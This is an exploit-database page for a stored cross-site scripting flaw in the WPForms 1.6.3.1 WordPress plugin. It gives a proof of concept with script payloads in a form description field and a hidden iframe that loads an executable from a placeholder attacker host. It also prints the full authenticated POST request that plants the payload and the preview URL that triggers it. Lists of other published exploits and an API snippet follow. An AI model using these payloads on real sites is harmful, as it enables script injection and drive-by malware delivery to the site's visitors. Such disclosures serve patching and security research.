Become a patron and gain access to the dashboard, Schedule scans, API and Search patron

Search for hundreds of thousands of exploits

"Wordpress Plugin WPForms 1.6.3.1 - Persistent Cross Site Scripting (Authenticated)"

Author

Exploit author

ZwX

Platform

Exploit platform

php

Release date

Exploit published date

2020-11-18

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#Exploit Title : Wordpress Plugin WPForms 1.6.3.1 - Persistent Cross Site Scripting (Authenticated)
#Exploit Author : ZwX
#Exploit Date : 2020-10-23
#Vendor Homepage : https://wpforms.com/
#Download Plugin : https://downloads.wordpress.org/plugin/wpforms-lite.1.6.3.1.zip


[+] Description Vulnerability:
==============================

A Cross Site Scripting vulnerability is located in the Wordpress plugin [WPForms] which affects version 1.6.3.1 and other versions lower.
To exploit the vulnerability it is necessary to be identified, the attacker could hide JavaScript code without the knowledge of the owner of the site.
 

[+] Proof Of Concept:
=====================

# HTML Code #

<textarea class="" id="wpforms-field-option-0-description" name="fields[0][description]" rows="3"><script>alert(1)</script></textarea>
<textarea class="" id="wpforms-field-option-0-description" name="fields[0][description]" rows="3"><iframe src="https://Attacker.com/putty.exe" style="width:0;height:0;border:0; border:none;/></textarea>


# Methode POST #

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/admin.php?page=wpforms-builder&view=fields&form_id=990
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 7081
Origin: http://localhost
Connection: close

action=wpforms_save_form&data=[{"name":"id","value":"990"},{"name":"field_id","value":"5"},{"name":"fields[0][id]","value":"0"},{"name":"fields[0][type]","value":"name"},{"name":"fields[0][label]","value":"Nom"},{"name":"fields[0][format]","value":"first-last"},{"name":"fields[0][description]","value":"<script>alert(1)</script>"},{"name":"fields[0][required]","value":"1"},{"name":"fields[0][size]","value":"medium"},{"name":"fields[0][simple_placeholder]","value":""},{"name":"fields[0][simple_default]","value":""},{"name":"fields[0][first_placeholder]","value":""},{"name":"fields[0][first_default]","value":""},{"name":"fields[0][middle_placeholder]","value":""},{"name":"fields[0][middle_default]","value":""},{"name":"fields[0][last_placeholder]","value":""},{"name":"fields[0][last_default]","value":""},{"name":"fields[0][css]","value":""},{"name":"fields[1][id]","value":"1"},{"name":"fields[1][type]","value":"email"},{"name":"fields[1][label]","value":"E-mail"},{"name":"fields[1][description]","value":""},{"name":"fields[1][required]","value":"1"},{"name":"fields[1][size]","value":"medium"},{"name":"fields[1][placeholder]","value":""},{"name":"fields[1][confirmation_placeholder]","value":""},{"name":"fields[1][default_value]","value":""},{"name":"fields[1][css]","value":""},{"name":"fields[1][filter_type]","value":""},{"name":"fields[1][allowlist]","value":""},{"name":"fields[1][denylist]","value":""},{"name":"fields[2][id]","value":"2"},{"name":"fields[2][type]","value":"textarea"},{"name":"fields[2][label]","value":"Commentaire ou message"},{"name":"fields[2][description]","value":""},{"name":"fields[2][required]","value":"1"},{"name":"fields[2][size]","value":"medium"},{"name":"fields[2][placeholder]","value":""},{"name":"fields[2][limit_count]","value":"1"},{"name":"fields[2][limit_mode]","value":"characters"},{"name":"fields[2][default_value]","value":""},{"name":"fields[2][css]","value":""},{"name":"fields[3][id]","value":"3"},{"name":"fields[3][type]","value":"textarea"},{"name":"fields[3][label]","value":"Paragraphe"},{"name":"fields[3][description]","value":""},{"name":"fields[3][size]","value":"medium"},{"name":"fields[3][placeholder]","value":""},{"name":"fields[3][limit_count]","value":"1"},{"name":"fields[3][limit_mode]","value":"characters"},{"name":"fields[3][default_value]","value":""},{"name":"fields[3][css]","value":""},{"name":"fields[4][id]","value":"4"},{"name":"fields[4][type]","value":"textarea"},{"name":"fields[4][label]","value":"Paragraphe"},{"name":"fields[4][description]","value":""},{"name":"fields[4][size]","value":"medium"},{"name":"fields[4][placeholder]","value":""},{"name":"fields[4][limit_count]","value":"1"},{"name":"fields[4][limit_mode]","value":"characters"},{"name":"fields[4][default_value]","value":""},{"name":"fields[4][css]","value":""},{"name":"settings[form_title]","value":"Formulaire de contact simple"},{"name":"settings[form_desc]","value":""},{"name":"settings[form_class]","value":""},{"name":"settings[submit_text]","value":"Envoyer"},{"name":"settings[submit_text_processing]","value":"Envoi..."},{"name":"settings[submit_class]","value":""},{"name":"settings[antispam]","value":"1"},{"name":"settings[notification_enable]","value":"1"},{"name":"settings[notifications][1][email]","value":"{admin_email}"},{"name":"settings[notifications][1][subject]","value":"Nouvelle entrée : Formulaire de contact simple"},{"name":"settings[notifications][1][sender_name]","value":"Le Blog de ZwX"},{"name":"settings[notifications][1][sender_address]","value":"{admin_email}"},{"name":"settings[notifications][1][replyto]","value":"{field_id=\"1\"}"},{"name":"settings[notifications][1][message]","value":"{all_fields}"},{"name":"settings[confirmations][1][type]","value":"message"},{"name":"settings[confirmations][1][message]","value":"<p>Merci de nous avoir contacté ! Nous vous contacterons rapidement.</p>"},{"name":"settings[confirmations][1][message_scroll]","value":"1"},{"name":"settings[confirmations][1][page]","value":"262"},{"name":"settings[confirmations][1][redirect]","value":""}]&id=990&nonce=ec15a26a5a


# URL Proof Of Concept #

http://localhost/?wpforms_form_preview=990
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-11-20 "Free MP3 CD Ripper 2.8 - Multiple File Buffer Overflow (Metasploit)" local windows ZwX
2020-11-18 "Wordpress Plugin WPForms 1.6.3.1 - Persistent Cross Site Scripting (Authenticated)" webapps php ZwX
2020-02-12 "MyVideoConverter Pro 3.14 - 'TVSeries' Buffer Overflow" local windows ZwX
2020-02-12 "MyVideoConverter Pro 3.14 - 'Movie' Buffer Overflow" local windows ZwX
2020-02-12 "MyVideoConverter Pro 3.14 - 'Output Folder' Buffer Overflow" local windows ZwX
2020-02-11 "DVD Photo Slideshow Professional 8.07 - 'Key' Buffer Overflow" local windows ZwX
2020-02-11 "Wedding Slideshow Studio 1.36 - 'Name' Buffer Overflow" local windows ZwX
2020-02-11 "DVD Photo Slideshow Professional 8.07 - 'Name' Buffer Overflow" local windows ZwX
2020-02-10 "Wedding Slideshow Studio 1.36 - 'Key' Buffer Overflow" local windows ZwX
2020-02-06 "ELAN Smart-Pad 11.10.15.1 - 'ETDService' Unquoted Service Path" local windows ZwX
2020-01-13 "Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions" local windows ZwX
2020-01-09 "MSN Password Recovery 1.30 - XML External Entity Injection" local xml ZwX
2020-01-09 "ZIP Password Recovery 2.30 - 'ZIP File' Denial of Service (PoC)" dos windows ZwX
2020-01-06 "Adaware Web Companion 4.9.2159 - 'WCAssistantService' Unquoted Service Path" local windows ZwX
2019-12-18 "AVS Audio Converter 9.1 - 'Exit folder' Buffer Overflow" local windows ZwX
2019-12-18 "XnView 2.49.1 - 'Research' Denial of Service (PoC)" dos windows ZwX
2019-12-05 "Amiti Antivirus 25.0.640 - Unquoted Service Path" local windows ZwX
2019-12-05 "NETGATE Data Backup 3.0.620 - 'NGDatBckpSrv' Unquoted Service Path" local windows ZwX
2019-12-04 "Microsoft Visual Basic 2010 Express - XML External Entity Injection" local xml ZwX
2019-11-29 "SpotAuditor 5.3.2 - 'Key' Denial of Service" dos windows ZwX
2019-11-29 "SpotAuditor 5.3.2 - 'Name' Denial of Service" dos windows ZwX
2019-11-27 "SpotAuditor 5.3.2 - 'Base64' Denial Of Service (PoC)" dos windows ZwX
2019-11-27 "Microsoft DirectX SDK 2010 - '.PIXrun' Denial Of Service (PoC)" dos windows ZwX
2019-11-22 "LiteManager 4.5.0 - Insecure File Permissions" local windows ZwX
2019-11-22 "ProShow Producer 9.0.3797 - ('ScsiAccess') Unquoted Service Path" local windows ZwX
2019-11-19 "BartVPN 1.2.2 - 'BartVPNService' Unquoted Service Path" local windows ZwX
2019-11-19 "XMedia Recode 3.4.8.6 - '.m3u' Denial Of Service" dos windows ZwX
2019-11-18 "MobileGo 8.5.0 - Insecure File Permissions" local windows ZwX
2018-09-13 "Clone2Go Video to iPod Converter 2.5.0 - Denial of Service (PoC)" dos windows_x86 ZwX
2018-09-13 "Socusoft Photo to Video Converter 8.07 - 'Registration Name' Buffer Overflow" local windows ZwX
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/49069/?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.